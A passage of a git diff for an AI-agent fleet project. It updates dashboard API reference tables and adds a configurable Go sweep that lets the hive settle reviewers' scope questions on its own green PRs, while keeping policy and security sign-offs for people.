`/metrics` | Registered only when `HIVE_METRICS_ENABLED`; requires `Authorization: ****** (403 if the token is unset) | Prometheus metrics | `pkg/dashboard/server.go:1650` | -| `GET` | `/api/status` | Dashboard auth/session | Dashboard aggregate status; `labelPresets[]` (`{key,label,description,labels[],states[]}`) lists the built-in label-filter presets for the Projects cards, led by `needs-human` whose `labels[]` are the effective hard-suppress labels plus `needs-signal`, the hold labels, `stage/071-needs-author` and the reporter-trust awaiting label (#12172); accepts `?fields=a,b` for top-level selection and `?omit=repos` to drop heavy sections, and honors `Accept-Encoding: gzip`; `agents[]` includes busy-pane visibility fields (`kicksUndeliverable`, `busySince`, `lastTranscriptActivity`, `condition`, `conditionMessage`) when a Working pane cannot accept kicks; a working agent also carries `agents[].run` β€” the live per-run line (#14576): `{since, elapsedS, costUSD, tokens, priced, tests, filesChanged}`, the estimated spend/tokens since the kick was delivered (`lastKickAt`, falling back to `busySince`) (delta of the token collector's per-agent cumulative figure; `priced:false` when the agent has none yet), the last visible test-runner result (`pass`/`fail`/empty) and the last `N files changed` git summary (`-1` when none) parsed from the captured pane; top-level `fleetRun` `{running, hourUSD, hourPriced, dayUSD, weekUSD, monthUSD, windowsPriced}` is the governor strip's rotating `running N Β· $X this hour / today / this week / this month` figure (#15614) β€” the hour is the rise since the top of the clock hour, the wider windows are the daily cost ledger summed from 00:00 UTC today, Monday 00:00 UTC (ISO week) and the 1st 00:00 UTC plus the rise since the ledger's last snapshot, `windowsPriced:false` when there is no ledger yet; `sla` (fleet) and `repos[].sla` (per repo) carry the Delivery SLA block derived from the lifecycle timeline with no extra GitHub calls: `windows.{7d,30d}.{open_to_triage,triage_to_start,start_to_pr,pr_to_merge,open_to_merge}` as `{p50_h,p95_h,n}` (hours, nearest-rank), `history[]` of up to 30 daily buckets `{day,start_to_pr_p50,pr_to_merge_p50,open_to_merge_p50,n_started,n_pr,n_merged}` persisted under `/data/sla-history.json`, `stale_in_progress[]` (`{number,repo,started_at,age_h,agent}` β€” issues carrying `hive/in-progress` longer than the agent claim TTL with no linked PR), `stale_count`, `merged_7d`, `claim_ttl_s` and, on the fleet block, the effective `targets` (`start_to_pr_h`, `pr_to_merge_h`, `open_to_merge_h`); `staleSince` and `repos[].countsStale` / `countsStaleSince` mark totals served from last-good figures β€” the previous enumeration (#13382) or the ForgeState cache's last-good counts (#13376); `ci_failure_signals` `{count, last, kicks, unmatched}` is the webhook CI-failure signal store β€” distinct red (repo, head, check) signals retained, the most recent one `{repo, number, head_sha, check, conclusion, details_url, agent, at}`, webhook-triggered kicks/nudges since boot, and failure deliveries whose head matched no open PR; `hotspots` `{count, actionable, filed}` is the merge-hotspot advisor's one-line summary (files at/above the thresholds, those with a split recommendation, those with a modularize issue filed), absent when the advisor is not wired β€” details on `GET /api/hotspots`; `writeback.dedupe` `{enabled, dedupe_same_item, dedupe_burst, rate_capped, hourly_cap, burst_items, burst_window_s, same_item_ttl_s}` is the write-back gate's content layer β€” the effective `writeback.dedupe.*` settings and the last-hour counts of writes held as `duplicate`, `burst` and `rate-capped` (each also listed under `GET /api/writeback/suppressed`); `config.gate_regressions[]` `{gate, previous, effective, source}` is the boot-time safety-gate regression list (#16438) β€” gates a previous runtime overlay on the PVC carried that the running config lacks or loosens (`review.require_labels`, `project.issue_filter.require_labels`, `project.paused_repos[<repo>]`, `writeback.per_repo[<repo>].mode`), empty on a healthy boot | `pkg/dashboard/server.go:1655` | -| `GET` | `/api/status/summary` | Dashboard auth/session | Compact agent/governor/budget status summary for pollers; honors `Accept-Encoding: gzip` | `pkg/dashboard/server.go:1656` | -| `GET` | `/api/overview/issues.csv` | Dashboard auth/session | Cached Overview issue-band export as browser-compatible CSV; filters `band`, `repo`/`repos`, `stale`, and `held` are ANDed. | `pkg/dashboard/server.go:1657` | -| `GET` | `/api/overview/issues.json` | Dashboard auth/session | Cached Overview issue-band export as typed JSON with `bands[]` metadata and row fields matching the CSV columns. | `pkg/dashboard/server.go:1658` | -| `GET` | `/api/overview/prs.csv` | Dashboard auth/session | Cached Overview PR-band export as browser-compatible CSV; filters `band`, `repo`/`repos`, `stale`, and `held` are ANDed. | `pkg/dashboard/server.go:1659` | -| `GET` | `/api/overview/prs.json` | Dashboard auth/session | Cached Overview PR-band export as typed JSON with `bands[]` metadata and row fields matching the CSV columns. | `pkg/dashboard/server.go:1660` | -| `GET` | `/api/events` | Dashboard auth/session | Server-sent event stream | `pkg/dashboard/server.go:1661` | +| `GET` | `/api/health` | Public | Basic health probe | `pkg/dashboard/server.go:1645` | +| `GET` | `/api/health/deep` | Public | Deep health probe | `pkg/dashboard/server.go:1646` | +| `GET` | `/api/livez` | Public | Kubernetes liveness probe | `pkg/dashboard/server.go:1647` | +| `GET` | `/metrics` | Registered only when `HIVE_METRICS_ENABLED`; requires `Authorization: ****** (403 if the token is unset) | Prometheus metrics | `pkg/dashboard/server.go:1653` | +| `GET` | `/api/status` | Dashboard auth/session | Dashboard aggregate status; `labelPresets[]` (`{key,label,description,labels[],states[]}`) lists the built-in label-filter presets for the Projects cards, led by `needs-human` whose `labels[]` are the effective hard-suppress labels plus `needs-signal`, the hold labels, `stage/071-needs-author` and the reporter-trust awaiting label (#12172); accepts `?fields=a,b` for top-level selection and `?omit=repos` to drop heavy sections, and honors `Accept-Encoding: gzip`; `agents[]` includes busy-pane visibility fields (`kicksUndeliverable`, `busySince`, `lastTranscriptActivity`, `condition`, `conditionMessage`) when a Working pane cannot accept kicks; a working agent also carries `agents[].run` β€” the live per-run line (#14576): `{since, elapsedS, costUSD, tokens, priced, tests, filesChanged}`, the estimated spend/tokens since the kick was delivered (`lastKickAt`, falling back to `busySince`) (delta of the token collector's per-agent cumulative figure; `priced:false` when the agent has none yet), the last visible test-runner result (`pass`/`fail`/empty) and the last `N files changed` git summary (`-1` when none) parsed from the captured pane; top-level `fleetRun` `{running, hourUSD, hourPriced, dayUSD, weekUSD, monthUSD, windowsPriced}` is the governor strip's rotating `running N Β· $X this hour / today / this week / this month` figure (#15614) β€” the hour is the rise since the top of the clock hour, the wider windows are the daily cost ledger summed from 00:00 UTC today, Monday 00:00 UTC (ISO week) and the 1st 00:00 UTC plus the rise since the ledger's last snapshot, `windowsPriced:false` when there is no ledger yet; `sla` (fleet) and `repos[].sla` (per repo) carry the Delivery SLA block derived from the lifecycle timeline with no extra GitHub calls: `windows.{7d,30d}.{open_to_triage,triage_to_start,start_to_pr,pr_to_merge,open_to_merge}` as `{p50_h,p95_h,n}` (hours, nearest-rank), `history[]` of up to 30 daily buckets `{day,start_to_pr_p50,pr_to_merge_p50,open_to_merge_p50,n_started,n_pr,n_merged}` persisted under `/data/sla-history.json`, `stale_in_progress[]` (`{number,repo,started_at,age_h,agent}` β€” issues carrying `hive/in-progress` longer than the agent claim TTL with no linked PR), `stale_count`, `merged_7d`, `claim_ttl_s` and, on the fleet block, the effective `targets` (`start_to_pr_h`, `pr_to_merge_h`, `open_to_merge_h`); `staleSince` and `repos[].countsStale` / `countsStaleSince` mark totals served from last-good figures β€” the previous enumeration (#13382) or the ForgeState cache's last-good counts (#13376); `ci_failure_signals` `{count, last, kicks, unmatched}` is the webhook CI-failure signal store β€” distinct red (repo, head, check) signals retained, the most recent one `{repo, number, head_sha, check, conclusion, details_url, agent, at}`, webhook-triggered kicks/nudges since boot, and failure deliveries whose head matched no open PR; `hotspots` `{count, actionable, filed}` is the merge-hotspot advisor's one-line summary (files at/above the thresholds, those with a split recommendation, those with a modularize issue filed), absent when the advisor is not wired β€” details on `GET /api/hotspots`; `writeback.dedupe` `{enabled, dedupe_same_item, dedupe_burst, rate_capped, hourly_cap, burst_items, burst_window_s, same_item_ttl_s}` is the write-back gate's content layer β€” the effective `writeback.dedupe.*` settings and the last-hour counts of writes held as `duplicate`, `burst` and `rate-capped` (each also listed under `GET /api/writeback/suppressed`); `config.gate_regressions[]` `{gate, previous, effective, source}` is the boot-time safety-gate regression list (#16438) β€” gates a previous runtime overlay on the PVC carried that the running config lacks or loosens (`review.require_labels`, `project.issue_filter.require_labels`, `project.paused_repos[<repo>]`, `writeback.per_repo[<repo>].mode`), empty on a healthy boot | `pkg/dashboard/server.go:1658` | +| `GET` | `/api/status/summary` | Dashboard auth/session | Compact agent/governor/budget status summary for pollers; honors `Accept-Encoding: gzip` | `pkg/dashboard/server.go:1659` | +| `GET` | `/api/overview/issues.csv` | Dashboard auth/session | Cached Overview issue-band export as browser-compatible CSV; filters `band`, `repo`/`repos`, `stale`, and `held` are ANDed. | `pkg/dashboard/server.go:1660` | +| `GET` | `/api/overview/issues.json` | Dashboard auth/session | Cached Overview issue-band export as typed JSON with `bands[]` metadata and row fields matching the CSV columns. | `pkg/dashboard/server.go:1661` | +| `GET` | `/api/overview/prs.csv` | Dashboard auth/session | Cached Overview PR-band export as browser-compatible CSV; filters `band`, `repo`/`repos`, `stale`, and `held` are ANDed. | `pkg/dashboard/server.go:1662` | +| `GET` | `/api/overview/prs.json` | Dashboard auth/session | Cached Overview PR-band export as typed JSON with `bands[]` metadata and row fields matching the CSV columns. | `pkg/dashboard/server.go:1663` | +| `GET` | `/api/events` | Dashboard auth/session | Server-sent event stream | `pkg/dashboard/server.go:1664` | | `GET` | `/api/swarm` | Dashboard auth/session | Current swarm status: display name, duration, active repo, expiry, persisted prep metrics when available, and idle-unlock fields. | `pkg/dashboard/swarm.go:310` | | `POST` | `/api/swarm` | Owner only | Start a 24h repo swarm for a configured repo, returning 409 when another swarm is active and 423 when a previous swarm keeps the next swarm locked until enough agents are idle unless body `{"repo":"owner/name","force":true}` is used; saves the active record before repo prep, persists prep metrics, and announces the start to Discord when configured. | `pkg/dashboard/swarm.go:311` | | `DELETE` | `/api/swarm` | Owner only | End the active swarm, score issues closed and PRs merged in the window, append it to history, and announce the result to Discord when configured. | `pkg/dashboard/swarm.go:312` | diff --git a/src/docs/api-reference/snapshots-and-style.md b/src/docs/api-reference/snapshots-and-style.md index 2a7f4e28bc..6ab4807c0b 100644 --- a/src/docs/api-reference/snapshots-and-style.md +++ b/src/docs/api-reference/snapshots-and-style.md @@ -6,7 +6,7 @@ Part of the [Dashboard REST API reference](../api-reference.md); see that page f | Method | Path | Auth | Purpose | Source | |---|---|---|---|---| | `GET` | `/api/style` | Public | Sanitized custom dashboard CSS | `pkg/dashboard/api.go:46` | -| `GET` | `/branding/custom.css` | Dashboard auth/session | Operator branding stylesheet override, read per request (see [branding](../branding.md)) | `pkg/dashboard/server.go:1732` | +| `GET` | `/branding/custom.css` | Dashboard auth/session | Operator branding stylesheet override, read per request (see [branding](../branding.md)) | `pkg/dashboard/server.go:1735` | | `GET` | `/api/snapshot/frame-ancestors` | Public | Snapshot framing allowlist | `pkg/dashboard/api.go:82` | | `GET` | `/api/snapshot` | Public | Snapshot data | `pkg/dashboard/api.go:83` | | `GET` | `/snapshot` | Public | Public read-only snapshot page | `pkg/dashboard/api.go:84` | diff --git a/src/docs/operator-reference/sweeps-and-operations.md b/src/docs/operator-reference/sweeps-and-operations.md index e194a4d4b3..3c7117cd48 100644 --- a/src/docs/operator-reference/sweeps-and-operations.md +++ b/src/docs/operator-reference/sweeps-and-operations.md @@ -392,6 +392,7 @@ between. Two mechanisms close that gap |---|---|---| | `scanner.skip_issues_with_open_pr` | `true` (unset) | Set `false` to turn off both the pre-dispatch guard and the duplicate-fix sweep; the claim ledger alone then decides, as before. | | `governor.auto_close_superseded` | `true` (unset) | At ACMM L6, a **hive-authored** PR whose closing targets are all closed, one of them by a different merged PR, and whose head conflicts with the base (or whose files are a subset of that PR's) is closed by the hive itself as superseded β€” `hive/superseded`, one notice naming the superseding PR β€” in the self-authored auto-merge lane (before any review cycle), the supersession sweep, and close-on-merge of the superseding PR. Human-authored PRs are never auto-closed. Set `false` to report the refusal once and leave the PR for a person, as before ([#14965](https://github.com/hivecommons/hive/pull/14965)). See [labels-and-control-signals.md Β§ Supersession](../labels-and-control-signals/stage-labels.md#supersession-closed-issue-another-merged-pr). | +| `governor.review.auto_decide_questions` | `true` (unset) | A review perspective that ends with a **question** rather than a finding used to park the PR at 085 "Needs human decision" on its wording alone. The dashboard now classifies the ask. **Policy sign-off** stays a person's: the PR edits `.github/workflows/*` or `.github/actions/*` from a fork; touches OWNERS / CODEOWNERS / SECURITY / rulesets / secrets / key material; adds or removes `auto_merge`, `human_merge_paths` or `self_authored_decision_policy` config; or the ask names an owner-only guard (sentinel, GitHub/App permissions, unauthorized, tokens / secrets / credentials, branch protection). **Scope / follow-up question** β€” "should we also…", "merge ahead of…", "apply X from the PR body", "confirm Y is acceptable" β€” on a hive-authored (or hive-adopted) PR with CI green and no unresolved finding on the head runs the existing *Let hive decide* pipeline with the hive as requester: an approve verdict admits the PR to the merge queue and files the question as a `follow-up: …` issue linked to the PR; a direction verdict routes the fixer (070); an owner-only or recommend-only verdict keeps the 085 park with the hive's recommendation on the row ("needs your sign-off"). At most one auto-decide per head (a new push asks again), one INFO line `reviewer question auto-decided` per run, and `review_questions_autodecided_1h` on `/api/status`. Set `false` to park every reviewer question for a person, as before. | ## What hive writes to GitHub, and when diff --git a/src/pkg/config/config.go b/src/pkg/config/config.go index 197209e3da..401f97b80d 100644 --- a/src/pkg/config/config.go +++ b/src/pkg/config/config.go @@ -1723,6 +1723,10 @@ type GovernorConfig struct { // the stage/085 decision park. Default on (hivecommons/hive#14965). AutoCloseSuperseded *bool `yaml:"auto_close_superseded,omitempty" json:"auto_close_superseded,omitempty"` + // Review tunes what the governor does with the review swarm's verdicts + // on the hive's own PRs. See GovernorReviewConfig. + Review GovernorReviewConfig `yaml:"review,omitempty" json:"review,omitempty"` + // Hotspot* tune the merge-hotspot advisor, which scores files that // concurrent PRs keep touching (from merge-train file lists and // rebase-conflict records the hive already holds β€” no extra GitHub @@ -2241,6 +2245,27 @@ func (g GovernorConfig) AutoCloseSupersededEnabled() bool { return g.AutoCloseSuperseded == nil || *g.AutoCloseSuperseded } +// GovernorReviewConfig is governor.review: how the governor treats the +// review swarm's verdicts on hive-authored PRs. +type GovernorReviewConfig struct { + // AutoDecideQuestions lets the hive answer a reviewer's scope or + // follow-up QUESTION on its own green, finding-free PR through the + // delegated-decision path instead of parking the PR at stage/085 for a + // person (hivecommons/docs#618: "this is auto-merge material, not + // needs-human"). Policy sign-off asks β€” workflow edits from a fork, + // secrets / permissions / OWNERS / security paths, auto_merge or + // human_merge_paths changes, an explicit owner-only guard in the ask β€” + // still park. At most one auto-decision per head; a new push re-asks. + // Default on. See review.ClassifyDecisionQuestion for the two classes. + AutoDecideQuestions *bool `yaml:"auto_decide_questions,omitempty" json:"auto_decide_questions,omitempty"` +} + +// AutoDecideQuestionsEnabled resolves GovernorReviewConfig.AutoDecideQuestions +// with its default (on). +func (r GovernorReviewConfig) AutoDecideQuestionsEnabled() bool { + return r.AutoDecideQuestions == nil || *r.AutoDecideQuestions +} + // Defaults for the merge-hotspot advisor (GovernorConfig.Hotspot*). const ( DefaultHotspotWindowDays = 7 diff --git a/src/pkg/config/testdata/agent_runtime_golden.json b/src/pkg/config/testdata/agent_runtime_golden.json index 9850c0d2d4..00fa498043 100644 --- a/src/pkg/config/testdata/agent_runtime_golden.json +++ b/src/pkg/config/testdata/agent_runtime_golden.json @@ -400,6 +400,7 @@ "queue_health": {} }, "auto_close_superseded": true, + "review": {}, "project_observability": {}, "work_source": { "type": "", diff --git a/src/pkg/dashboard/review_question_autodecide.go b/src/pkg/dashboard/review_question_autodecide.go new file mode 100644 index 0000000000..e37d8d127b --- /dev/null +++ b/src/pkg/dashboard/review_question_autodecide.go @@ -0,0 +1,473 @@ +package dashboard + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "log/slog" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + "sync" + "time" + + gh "github.com/google/go-github/v72/github" + "github.com/hivecommons/hive/pkg/config" + "github.com/hivecommons/hive/pkg/delegatedecision" + ghpkg "github.com/hivecommons/hive/pkg/github" + "github.com/hivecommons/hive/pkg/review" + "github.com/hivecommons/hive/pkg/writeback" +) + +// Reviewer-question auto-decide (hivecommons/hive#16578 follow-up). +// +// A review perspective on the hive's own PR sometimes ends with a QUESTION +// rather than a finding β€” "should this merge ahead of the workflow edit?", +// "confirm the relay may lift the hold" β€” and the tracker parked the row at +// 085 "Needs human decision" on the wording alone (docs#618 sat with CI 4/4 +// and Review 5/5 clean; hive#16456 likewise). The owner's verdict on those: +// "this is auto-merge material, not needs-human". +// +// This sweep classifies the ask (review.ClassifyDecisionQuestion): a +// POLICY SIGN-OFF stays the person's; a SCOPE / FOLLOW-UP QUESTION on a +// hive-authored PR with CI green and no unresolved finding runs the +// existing "Let hive decide" pipeline (runDelegatedDecision) with the +// hive as requester. An approve verdict admits the PR to the merge queue +// and files the question as a follow-up issue; a direction verdict routes +// the fixer; an owner-only / recommend-only verdict keeps the park, with +// the recommendation on the row. At most one auto-delegate runs per head +// (a new push asks again). Off switch: governor.review.auto_decide_questions. + +const ( + // reviewQuestionAutodecideInterval paces the sweep between published + // status snapshots. + reviewQuestionAutodecideInterval = 2 * time.Minute + // reviewQuestionAutodecideMaxPerSweep bounds the paid decisions one + // sweep may start. + reviewQuestionAutodecideMaxPerSweep = 3 + // reviewQuestionAutodecideCountWindow is the /api/status counter's window + // (review_questions_autodecided_1h). + reviewQuestionAutodecideCountWindow = time.Hour + // reviewQuestionAutodecideRetention bounds the marker ledger. + reviewQuestionAutodecideRetention = 30 * 24 * time.Hour + // reviewQuestionFollowUpTitleMax caps the follow-up issue title. + reviewQuestionFollowUpTitleMax = 120 + // reviewQuestionFollowUpLabel marks the follow-up issues this sweep files. + reviewQuestionFollowUpLabel = "follow-up" +) + +// reviewQuestionAutodecidePath is the once-per-head marker ledger. +var reviewQuestionAutodecidePath = "/data/review-question-autodecide.json" + +// reviewQuestionAutodecideMarker records one auto-delegate on a head. +type reviewQuestionAutodecideMarker struct { + Head string `json:"head"` + At time.Time `json:"at"` + Class string `json:"class"` + Reason string `json:"reason"` + Verdict string `json:"verdict,omitempty"` + Rule string `json:"rule,omitempty"` + // FollowUp is the follow-up issue filed on an approve verdict (0: none). + FollowUp int `json:"follow_up,omitempty"` +} + +// reviewQuestionAutodecide is the sweep's pacing state and marker ledger. +type reviewQuestionAutodecide struct { + mu sync.Mutex + running bool + lastAt time.Time + path string + loaded bool + items map[string]reviewQuestionAutodecideMarker +} + +func (st *reviewQuestionAutodecide) filePath() string { + if st.path != "" { + return st.path + } + return reviewQuestionAutodecidePath +} + +// load reads the ledger once; an unreadable file starts empty. +func (st *reviewQuestionAutodecide) load() { + if st.loaded { + return + } + st.loaded = true + if st.items == nil { + st.items = map[string]reviewQuestionAutodecideMarker{} + } + data, err := os.ReadFile(st.filePath()) + if err != nil { + return + } + var items map[string]reviewQuestionAutodecideMarker + if json.Unmarshal(data, &items) == nil && items != nil { + st.items = items + } +} + +func (st *reviewQuestionAutodecide) persist() error { + data, err := json.MarshalIndent(st.items, "", " ") + if err != nil { + return err + } + path := st.filePath() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + return err + } + tmp := path + ".tmp" + if err := os.WriteFile(tmp, data, 0o644); err != nil { + return err + } + return os.Rename(tmp, path) +} + +// seen reports whether repo#number already auto-delegated on head. +func (st *reviewQuestionAutodecide) seen(repo string, number int, head string) bool { + st.mu.Lock() + defer st.mu.Unlock() + st.load() + m, ok := st.items[operatorActionKey(repo, number)] + return ok && strings.EqualFold(m.Head, head) +} + +// mark records an auto-delegate on head, dropping markers past retention. +func (st *reviewQuestionAutodecide) mark(repo string, number int, m reviewQuestionAutodecideMarker) error { + st.mu.Lock() + defer st.mu.Unlock() + st.load() + for k, old := range st.items { + if m.At.Sub(old.At) > reviewQuestionAutodecideRetention { + delete(st.items, k) + } + } + st.items[operatorActionKey(repo, number)] = m + return st.persist() +} + +// update rewrites the marker for repo#number in place (verdict, follow-up). +func (st *reviewQuestionAutodecide) update(repo string, number int, fn func(*reviewQuestionAutodecideMarker)) error { + st.mu.Lock() + defer st.mu.Unlock() + st.load() + key := operatorActionKey(repo, number) + m, ok := st.items[key] + if !ok { + return nil + } + fn(&m) + st.items[key] = m + return st.persist() +} + +// countSince is the number of auto-delegates recorded within window of now. +func (st *reviewQuestionAutodecide) countSince(now time.Time, window time.Duration) int { + st.mu.Lock() + defer st.mu.Unlock() + st.load() + n := 0 + for _, m := range st.items { + if !m.At.IsZero() && now.Sub(m.At) <= window && !m.At.After(now) { + n++ + } + } + return n +} + +// reviewQuestionsAutodecided1h is the /api/status counter. +func (s *Server) reviewQuestionsAutodecided1h(now time.Time) int { + if s == nil { + return 0 + } + return s.reviewQuestionAuto.countSince(now, reviewQuestionAutodecideCountWindow) +} + +// reviewQuestionAutodecideEnabled is governor.review.auto_decide_questions +// (default on); unreadable config counts as on. +func (s *Server) reviewQuestionAutodecideEnabled() bool { + if s == nil || s.deps == nil || s.deps.Config == nil { + return config.GovernorReviewConfig{}.AutoDecideQuestionsEnabled() + } + return s.deps.Config.Governor.Review.AutoDecideQuestionsEnabled() +} + +// reviewQuestionCandidate is one 085 row a reviewer's question parked. +type reviewQuestionCandidate struct { + Repo string + Number int + Head string + Question string + Reason string + Caption string + // HiveAuthored is the row's own authorship read (hive-authored or + // adopted in place by the hive). + HiveAuthored bool +} + +// reviewQuestionCandidates picks the tracker rows the sweep may consider: a +// PR parked at 085 by a reviewer's question, on a known head, not on hold, +// CI neither red nor still running. Classification (fork, files, findings) +// happens per candidate afterwards. +func reviewQuestionCandidates(items []StageTrackerItem, qualify func(string) string) []reviewQuestionCandidate { + var out []reviewQuestionCandidate + for _, it := range items { + if it.Kind != "pr" || it.Stage != trackerNumberNeedsDecision || it.Head == "" { + continue + } + dn := it.DecisionNeeded + if dn == nil || dn.AskedBy != decisionAskedByReviewer || strings.TrimSpace(dn.Question) == "" { + continue + } + if it.Hold != nil || it.OnHold || it.ciRed || it.ciChecking { + continue + } + repo := it.Repo + if qualify != nil { + repo = qualify(repo) + } + if !strings.Contains(repo, "/") { + continue + } + out = append(out, reviewQuestionCandidate{ + Repo: repo, Number: it.Number, Head: it.Head, Question: strings.TrimSpace(dn.Question), + Reason: it.Reason, Caption: it.Caption, + HiveAuthored: it.AuthorKind == authorKindHive || it.AdoptedBy > 0, + }) + } + sort.Slice(out, func(i, j int) bool { + if out[i].Repo != out[j].Repo { + return out[i].Repo < out[j].Repo + } + return out[i].Number < out[j].Number + }) + return out +} + +// reviewQuestionUnresolvedFindings reports whether the head's aggregate +// still carries something a person or the fixer must answer: a backed +// decision finding, an in-scope finding, or a perspective that asked for +// changes. A bare question with none of these is what this sweep decides. +func reviewQuestionUnresolvedFindings(agg review.Aggregate) bool { + if strings.TrimSpace(agg.DecisionFinding) != "" { + return true + } + for _, f := range agg.Findings { + if review.InScopeFinding(f.Finding) { + return true + } + } + for _, v := range agg.Perspectives { + if v == review.VerdictChangesRequested || v == review.VerdictReject { + return true + } + } + return false +} + +// maybeAutoDecideReviewQuestions starts a sweep in the background when one +// is due and none is running; it reports whether it started one. +// UpdateStatusIfFresh calls it on every published snapshot. +func (s *Server) maybeAutoDecideReviewQuestions(status *StatusPayload, now time.Time) bool { + if s == nil || s.deps == nil || status == nil || !s.reviewQuestionAutodecideEnabled() { + return false + } + if s.deps.GHClient == nil || s.deps.GHClient.GoGitHub() == nil { + return false + } + st := &s.reviewQuestionAuto + st.mu.Lock() + if st.running || (!st.lastAt.IsZero() && now.Sub(st.lastAt) < reviewQuestionAutodecideInterval) { + st.mu.Unlock() + return false + } + st.running = true + st.lastAt = now + st.mu.Unlock() + ctx := context.Background() + if s.deps.Ctx != nil { + ctx = s.deps.Ctx + } + go func() { + defer func() { + st.mu.Lock() + st.running = false + st.mu.Unlock() + }() + s.autoDecideReviewQuestions(ctx, status, now) + }() + return true +} + +// autoDecideReviewQuestions runs one sweep synchronously. +func (s *Server) autoDecideReviewQuestions(ctx context.Context, status *StatusPayload, now time.Time) int { + items := s.buildStageTracker(status, s.stageStoreOrShared(), now).Items + cands := reviewQuestionCandidates(items, stageTrackerRepoQualifier(status)) + if len(cands) == 0 { + return 0 + } + var lookup func(string, int, string, bool) (review.Aggregate, bool) + if art, err := review.LoadArtifact(""); err == nil { + lookup = stageTrackerDecisionVerdictLookup(&art) + } + started := 0 + for _, c := range cands { + if started >= reviewQuestionAutodecideMaxPerSweep || ctx.Err() != nil { + break + } + if !s.delegateDecisionEnabled(c.Repo) || s.reviewQuestionAuto.seen(c.Repo, c.Number, c.Head) { + continue + } + if s.autoDecideReviewQuestion(ctx, c, lookup, now) { + started++ + } + } + return started +} + +// autoDecideReviewQuestion classifies one candidate and, for a scope +// question, runs the delegated decision. It reports whether one ran. +func (s *Server) autoDecideReviewQuestion(ctx context.Context, c reviewQuestionCandidate, lookup func(string, int, string, bool) (review.Aggregate, bool), now time.Time) bool { + in := review.DecisionQuestionInput{Question: c.Question, HiveAuthored: c.HiveAuthored, CIGreen: true} + if lookup != nil { + if agg, ok := lookup(c.Repo, c.Number, c.Head, true); ok { + in.UnresolvedFindings = reviewQuestionUnresolvedFindings(agg) + if agg.HiveAuthoredKnown { + in.HiveAuthored = in.HiveAuthored || agg.HiveAuthored + } + } + } + fromFork, files, err := s.reviewQuestionPRFacts(ctx, c.Repo, c.Number) + if err != nil { + s.reviewQuestionLogger().Debug("reviewer question auto-decide skipped: PR read failed", "repo", c.Repo, "pr", c.Number, "error", err) + return false + } + in.FromFork, in.Files = fromFork, files + class, reason := review.ClassifyDecisionQuestion(in) + if class != review.DecisionQuestionScope { + s.reviewQuestionLogger().Debug("reviewer question kept for a person", "repo", c.Repo, "pr", c.Number, "head", c.Head, "class", string(class), "reason", reason) + return false + } + hiveID := s.delegateHiveID() + marker := reviewQuestionAutodecideMarker{Head: c.Head, At: now, Class: string(class), Reason: reason} + if err := s.reviewQuestionAuto.mark(c.Repo, c.Number, marker); err != nil { + s.reviewQuestionLogger().Warn("reviewer question auto-decide ledger write failed", "path", s.reviewQuestionAuto.filePath(), "error", err) + } + key := delegatedJobKey(c.Repo, c.Number) + job := &delegatedDecisionJob{ + ID: key + "@" + strconv.FormatInt(now.UnixNano(), 36), Repo: c.Repo, Number: c.Number, Type: "pr", + Status: delegatedJobStatusRunning, Requester: hiveID, StartedAt: now, Marker: delegatedecision.Marker(hiveID), + } + if _, ok := s.delegatedJobs.start(key, job, now); !ok { + return false + } + s.delegatedJobs.plans.forget(c.Repo, c.Number) + if err := s.operatorActions().Record(c.Repo, c.Number, OperatorAction{ + Action: operatorActionLetHiveDecide, Actor: hiveID, At: now, Outcome: operatorActionOutcomePending, + HeadSHA: c.Head, Stage: trackerNumberNeedsDecision, Note: "auto: " + reason, + }); err != nil { + s.reviewQuestionLogger().Warn("operator action ledger write failed", "path", operatorActionsPath, "error", err) + } + s.runDelegatedDecision(ctx, key, c.Repo, c.Number, "pr", hiveID, false, delegatedDecisionRequest{ + Type: "pr", Reason: c.Reason, Caption: c.Caption, Head: c.Head, + }) + done, _ := s.delegatedJobs.get(key) + verdict, rule := "", "" + if done.Decision != nil { + verdict, rule = string(done.Decision.Verdict), done.Decision.Rule + } + followUp := 0 + if done.Decision != nil && done.Decision.Verdict == delegatedecision.VerdictApprove { + followUp = s.fileReviewQuestionFollowUp(ctx, c) + } + _ = s.reviewQuestionAuto.update(c.Repo, c.Number, func(m *reviewQuestionAutodecideMarker) { + m.Verdict, m.Rule, m.FollowUp = verdict, rule, followUp + }) + s.reviewQuestionLogger().Info("reviewer question auto-decided", + "repo", c.Repo, "pr", c.Number, "head", c.Head, "class", string(class), "reason", reason, + "verdict", verdict, "rule", rule, "status", done.Status, "error", done.Error, "follow_up", followUp) + s.invalidateStageTrackerCache() + return true +} + +// reviewQuestionPRFacts reads what the classifier needs from GitHub: whether +// the head lives on a fork, and the changed files with their patches. +func (s *Server) reviewQuestionPRFacts(ctx context.Context, repoFull string, number int) (bool, []review.DecisionQuestionFile, error) { + client := s.deps.GHClient.GoGitHub() + owner, name, ok := strings.Cut(repoFull, "/") + if !ok || client == nil { + return false, nil, errors.New("no GitHub client") + } + pr, _, err := client.PullRequests.Get(ctx, owner, name, number) + if err != nil { + return false, nil, err + } + fromFork := false + if pr.GetHead().GetRepo() != nil && pr.GetBase().GetRepo() != nil { + fromFork = !strings.EqualFold(pr.GetHead().GetRepo().GetFullName(), pr.GetBase().GetRepo().GetFullName()) + } + var files []review.DecisionQuestionFile + opt := &gh.ListOptions{PerPage: 100} + for { + page, resp, err := client.PullRequests.ListFiles(ctx, owner, name, number, opt) + if err != nil { + return fromFork, nil, err + } + for _, f := range page { + files = append(files, review.DecisionQuestionFile{Path: f.GetFilename(), Patch: f.GetPatch()}) + if prev := f.GetPreviousFilename(); prev != "" && prev != f.GetFilename() { + files = append(files, review.DecisionQuestionFile{Path: prev}) + } + } + if resp == nil || resp.NextPage == 0 { + break + } + opt.Page = resp.NextPage + } + return fromFork, files, nil +} + +// fileReviewQuestionFollowUp records the reviewer's question as a scanner +// issue linked to the PR once the hive admitted the PR as-is. It returns the +// issue number (0 when the gate refused or the create failed). +func (s *Server) fileReviewQuestionFollowUp(ctx context.Context, c reviewQuestionCandidate) int { + if s.deps == nil || s.deps.GHClient == nil { + return 0 + } + title := reviewQuestionFollowUpTitle(c.Question) + preview := "follow-up issue for reviewer question on " + c.Repo + "#" + strconv.Itoa(c.Number) + if !s.deps.GHClient.WritebackAllowed(c.Repo, writeback.Item{HiveAuthored: true}, writeback.KindIssueFile, preview).Allowed { + return 0 + } + body := fmt.Sprintf("A review perspective on #%d ended with a question rather than a finding. "+ + "The hive decided the PR merges as-is (governor.review.auto_decide_questions); the question is kept here as follow-up work.\n\n"+ + "> %s\n\nSource: %s#%d (head 